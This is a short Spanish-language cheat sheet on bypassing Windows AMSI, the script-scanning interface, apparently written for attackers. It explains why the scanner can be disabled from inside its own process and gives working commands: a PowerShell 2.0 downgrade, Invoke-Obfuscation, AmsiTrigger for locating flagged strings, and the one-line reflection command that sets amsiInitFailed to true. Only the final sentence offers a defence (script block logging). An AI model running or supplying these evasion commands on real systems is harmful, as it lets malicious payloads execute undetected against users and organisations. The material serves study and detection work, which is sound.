Qué es
Un bypass de AMSI desactiva el escáner que Windows pone frente a los scripts. El atacante corre su carga en memoria sin que la inspeccionen. Herramientas conocidas que antes se bloqueaban vuelven a pasar.
Cómo funciona
El escáner de AMSI se carga dentro del mismo proceso que vigila. Comparte memoria y permisos con el código que inspecciona. Por eso el proceso puede modificar su propio estado de AMSI. Hay cuatro palancas:
- Parchear en memoria la función AmsiScanBuffer para que devuelva un resultado limpio sin escanear.
- Cambiar por reflexión la bandera interna amsiInitFailed a verdadero: la sesión de PowerShell salta todo escaneo.
- Ofuscar la carga para que la firma no la reconozca.
- Usar PowerShell 2.0, un motor viejo que nunca llevó AMSI.
Ninguna palanca pide privilegios altos: basta una sesión de usuario.
Comandos
Encontrar las cadenas que AMSI detecta, antes de ofuscar:
AmsiTrigger_x64.exe -i <FILE>Saltar AMSI con el motor antiguo, que nunca lo llevó:
powershell.exe -version 2 -exec bypass -Command "<COMANDO>"Ofuscar un script marcado para que la firma no lo reconozca:
Import-Module .\Invoke-Obfuscation.psd1
Invoke-ObfuscationCambiar la bandera de control por reflexión, en la sesión actual:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)Cómo defenderse
Activa el registro de bloques de script de PowerShell: captura lo que iba a ejecutarse aunque AMSI caiga.